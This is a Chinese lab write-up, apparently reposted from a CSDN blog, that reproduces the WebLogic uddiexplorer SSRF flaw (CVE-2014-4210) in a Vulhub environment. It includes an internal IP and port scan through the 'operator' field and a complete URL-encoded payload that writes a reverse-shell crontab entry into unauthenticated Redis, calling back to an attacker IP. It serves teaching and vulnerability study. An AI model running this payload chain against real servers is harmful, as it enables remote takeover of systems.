Weblogic - V10.0.2 ~V10.3.6 - uddi 组件 SSRF 漏洞 - CVE-2014-4210

0x01：漏洞简介

Weblogic 的 uddi 组件存在一个 SSRF 漏洞。利用该漏洞，攻击者可发送任意 HTTP 请求，进而对内网中的脆弱组件（redis、fastcgi）进行进一步的攻击。

• 漏洞点：/uddiexplorer/（无需登录即可访问）

0x02：影响版本

• Weblogic 10.0.2 ~ Weblogic 10.3.6

0x03：环境搭建

环境准备

• VulHub 本地资源存储：vulhub-master.zip

• 靶机环境：CentOS 7 - IP 192.168.0.137 - 安装 VulHub

• 攻击机环境：Kali Linux - IP 192.168.0.136 + Windows 10 - IP 192.168.0.1（辅助用）

0x0301：靶机环境搭建

靶机：CentOS 7 服务器配置概览

• Docker & Docker 管理工具：Docker & Docker-Compose - 用来管理 Vulhub 靶场。

• Git：用来从 GitHub 下载 Vulhub 靶场。

这里我们采用 Vulhub 来进行漏洞的复现，而 Vulhub 需要依靠 docker 来进行管理，对于 CentOS 7 安装 Docker 可以参考下面这篇文章的前两个部分（Docker & Docker-Compose 的安装）：

ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程（Docker）_灯塔arl-CSDN博客文章浏览阅读3.4k次，点赞59次，收藏23次。灯塔，全称：ARL 资产侦察灯塔系统，有着域名资产发现和整理、IP/IP 段资产整理、端口扫描和服务识别、WEB 站点指纹识别、资产分组管理和搜索等等功能块。_灯塔arlhttps://blog.csdn.net/m0_73360524/article/details/143098904

下面我们主要介绍 CentOS 7 如何通过 Git 来安装 Vulhub 靶场，并通过 Docker 来对靶场进行管理和使用。

1. CentOS 7 安装 Git

首先，输入下面的命令安装 Git：

 sudo yum install -y git

然后输入下面的命令校验 Git 是否安装成功：

 git --version

2. Git 下载 Vulhub 靶场源码

https://github.com/vulhub/vulhubhttps://github.com/vulhub/vulhub

输入下面的命令在 /usr/local 文件夹下创建一个 soft 文件夹用以存放安装的软件：

 mkdir /usr/local/soft   # 创建 soft 文件夹
 cd /usr/local/soft      # 进入 soft 文件夹

然后进入 soft 文件夹，输入下面的命令，克隆 Vulhub 项目到本地：

 git clone https://github.com/vulhub/vulhub.git

（可选）如果你无法直接访问到 GitHub，可以通过前面的 “环境准备” 部分直接下载笔者下载好的 VulHub 资源然后上传到服务器中进行安装（笔者也是这样操作的）：

 unzip vulhub-master.zip # 解压操作（可选），直接通过 Git 下载的应该不需要解压吧

通过上面两种方式安装完成后，结果应该长这样：

3. 通过 Docker 启动靶场环境

本次演示的是 Weblogic 的 “CVE-2014-4210” 漏洞。首先来到 VulHub 的安装路径：

 cd /usr/local/soft/vulhub-master # 这是我本机安装的目录，可能与你的不一样哦

然后进入漏洞文件夹：

cd weblogic/ssrf/

接下来的命令都要在靶场根目录下执行，也就是有 docker-compose.yml 文件的这个目录（docker-compose 需要通过读取这个文件来快速配置靶场，如果执行命令的地方没有这个文件，docker-compose 是不起作用的哦）。

输入下面的命令直接启动容器（第一次启动它会拉取镜像，会比较慢，然后有部分小伙伴在拉取镜像的时候会报错，这是因为其默认的镜像源在国外，国内访问不到，换个 Docker 镜像源就行）：

docker-compose up -d # -d 代表后台启动，如果去掉就是前台启动了

然后输入下面命令，查看 Docker 开启的虚拟环境的端口：

docker ps

接下来直接访问靶机的 7001 端口就可以访问漏洞环境啦：

http://192.168.0.137:7001/console

问题解决：物理机无法访问靶机内部的靶场地址。

问题描述： 通过靶机中的 Docker 启动的虚拟环境，靶机可以访问，但是物理机无法访问。 问题解决：

输入下面的命令，修改 selinux/config 文件中的内容：

vim /etc/selinux/config

关机重启虚拟机后回到我们的靶场目录下，输入下面的命令查看容器 ID：

docker ps -a

然后输入下面的命令，重新启动虚拟环境即可（不同机器的容器 ID 是不一样的）：

docker start <容器ID> # 比如上面我的 ID 是 ab84，那我运行的就是 docker start ab84

等待靶机部署完毕后，就会自动跳到 Weblogic 的后台页面啦：

至此，靶机的环境我们已经配置完毕。

4. （附录）Docker 常用命令

以下是一些经常使用的 docker-compose 命令（需要在有 docker-compose.yml 的文件夹下使用）：

docker-compose build # 拉取镜像，创建容器
docker-compose up -d # 启动容器，如果没有容器会自动拉取镜像，创建容器
docker-compose stop  # 停止容器（靶场），容器依旧存在可以通过 docker start <容器ID> 重启启动容器
docker-compose down  # 删除容器（靶场）

以下是一些 docker 常用的命令：

docker version # 查看本机 docker 版本
docker info    # 查看 docker 详细信息
docker ps -a   # 列出所有 docker 容器，包括暂停运行的，可查看容器 ID
docker start <容器 ID> # 启动容器
docker stop  <容器 ID> # 暂停容器
docker exec -it <容器 ID> /bin/bash # 进入容器 Bash
    exit       # 退出容器 Bash 
docker rm <容器 ID>    # 删除容器
docker image rm <镜像 ID> # 删除镜像

0x0302：攻击机环境搭建

攻击机没有什么特殊的环境搭建，安装了 BurpSuite 就可以了。（Kali 里肯定有 MSF）

0x04：漏洞复现

单纯的复现 SSRF 漏洞，可能各位小伙伴无法体会该漏洞的危害。所以我们复现不光会展示该漏洞是如何触发的，还会展示如何使用该漏洞对内网脆弱中间件（Redis）进行攻击，从而直接拿到 Redis 服务器的控制权

0x0401：获取内网 Redis 服务器 IP 地址

因为后续我们要通过 SSRF 漏洞攻击目标内网的 Redis 服务器，所以我们得先知道 Redis 服务器的地址（这里也是一个遗憾，我们并不是通过漏洞拿到其内网地址的，而是通过开挂）。

进入靶机，输入下面的命令，查看 Redis 容器的 ID（每个人都不一样）：

docker ps

然后输入下面的命令，获取 Redis 容器 IP 地址：

docker exec -it 容器ID ifconfig

如上，成功获取内网 Redis 服务器的 IP 地址。这里我们再强调一下我们的实验环境，我们的攻击机是 Kali IP 是 192.168.0.136，靶机是 CentOS 7 IP 是 192.168.0.137，然后我们在靶机上开了虚拟环境，Redis 服务器位于虚拟环境中，该服务的 IP 是 172.20.0.2。所以对于攻击机 Kali 而言，它是无法直接访问到 Redis 服务器的，而对于 Redis 而言，它可以借助于 CentOS 7 的网卡访问到 Kali。

0x0402：SSRF 漏洞探测内网 IP

访问靶机 7001 端口的 /uddiexplorer 页面，然后点击 “Search Public Registeries”：

点击 Search 按钮并使用 BurpSuite 进行抓包，漏洞点就在 operator 字段：

将该请求包发送到 Repeater 模块中，并修改 operator 的传参，尝试探测目标内网 IP，下面是成功的样式：

http://172.20.0.2

http://172.20.0.4

下面是 IP 不存在的样式：

这里也算是稍微弥补了前面的 Bug 吧，我们可以通过这种方式来间接的获取目标内网的 IP，因为内网 IP 也就那几个范围，耐点心，全部都测试一遍总能猜到的（前提是你得有时间测）。

0x0403：SSRF 漏洞探测内网端口

SSRF 漏洞探测内网端口本来是要使用 dict 协议的，但这里好像不支持。不过问题不大，通过往 HTTP 协议后添加端口也是能达到同样效果的：

http://172.20.0.2:6379

下面是端口不存在给的回应：

http://172.20.0.2:80

0x0404：SSRF 攻击内网 Redis 服务

在前面的探测中，我们已经使用 SSRF 漏洞对目标内网进行了探测，发现在 172.20.0.2 这个机器上存在 6379 端口开放，因此我们可以很容易就判断出目标存在 Redis 服务。那么接下来，我们就尝试构造 Payload 攻击该服务（注意，这里我们是假设该 Redis 服务未设置密码）。

对于 Redis 的未授权访问漏洞，不了解的同学可以去参考下面这篇文章：

Redis - General - 未授权访问漏洞（用户配置问题）-CSDN博客文章浏览阅读1.2k次，点赞21次，收藏16次。首先需要说明，Redis 官方并不认为这个是它们系统的漏洞，他们认为这源自于用户配置不当所造成的问题，所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。在默认配置下，Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施，且未设置密码认证（Redis 默认密码为空），便直接将 Redis 服务暴露于公网，这将使得任意用户在能够访问目标服务器的情况下，可借助 Redis 自身的 config 命令执行写文件操作。https://blog.csdn.net/m0_73360524/article/details/145189691

首先，我们登录 Kali 攻击机，输入下面的命令进行端口的监听（准备拿 Shell）：

nc -lvp 7777

然后我们开始构造针对 Redis 服务器的反弹连接的 Payload，以下是原始 Payload：

set 1 "\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.0.136/7777 0>&1' \n"
config set dir /etc/
config set dbfilename crontab
save

上面几条命令，第一行是往 Redis 中写入一个定时任务以用来反弹连接，然后第二到三行是临时修改 Redis 服务的存储路径为 /etc/crontab 文件，最后通过 save 将定时任务保存到目标文件。

由于我们要通过 HTTP 请求发送上面的 Payload，所以我们得对 Payload 进行一次 URL 编码：

url在线转码工具-在线url网址编码解码工具-UrlEncode编码-UrlDecode解码在线工具在线URL编码解码工具为了让包含中文的URL可以使用，对网址Url进行UrlEncode编码转换,UrlEncode编码,UrlDecode解码,Url加密工具,URL网址加密解密,在线网址格式化http://www.kuquidc.com/enc/urlencode.php

set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

由于 Redis 是通过换行符 \r\n 来分割命令的，所以我们需要将上面 Payload 中的换行 \n（URL 编码后为 %0A）全部替换为 \r\n（URL 编码后为 %0D%0A），末尾还需要添加一个 \r\n（这个与 Gopher 协议非常类似）：

set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

以上其实应该就是我们核心 Payload 的最终形式。然后这里其实是利用的 Gopher 协议的一种变型吧，Gopher 协议原本应该是 gopher://ip:port/_{payload}，然后因为这里不支持 Gopher 开头的协议，所以我们只能使用如下的格式（将 gopher 替换为 http）：

http://172.20.0.2:6379/_{payload}

即（上面的 172.20.0.2:6379 是目标 IP + 端口）：

 http://172.20.0.2:6379/_set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

但是就是这样了还不行，我们还得在请求的最后随便添加点东西，笔者添加了 yahu（这里也是一个奇怪的规则，我愿意称之为莫名其妙，笔者测试了，如果不在后面添加内容，那个 Shell 根本反弹不出来）：

 http://172.20.0.2:6379/_set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Ayahu

等待一分钟，Redis 服务器就会将自己的控制权移交给 Kali：

那么至此，CVE-2014-4210 Weblogic uddi 组件 SSRF 漏洞演示完毕。

0x05：参考资料

[Vulhub] Weblogic SSRF 漏洞（CVE-2014-4210）-CSDN博客文章浏览阅读6.5k次，点赞5次，收藏18次。0x00 预备知识01 SSRF概念：SSRF（服务端请求伪造），指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务02 SSRF原理SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下， SSRF攻击的目标是外网无法访问的内部系统，黑客可以利用SSRF漏洞获取内部系统的一些信息（正是因为它是由服务端_cve-2014-4210https://blog.csdn.net/weixin_45605352/article/details/118899427

原文地址：https://blog.csdn.net/m0_73360524/article/details/145278962

免责声明：本站文章内容转载自网络资源，如侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！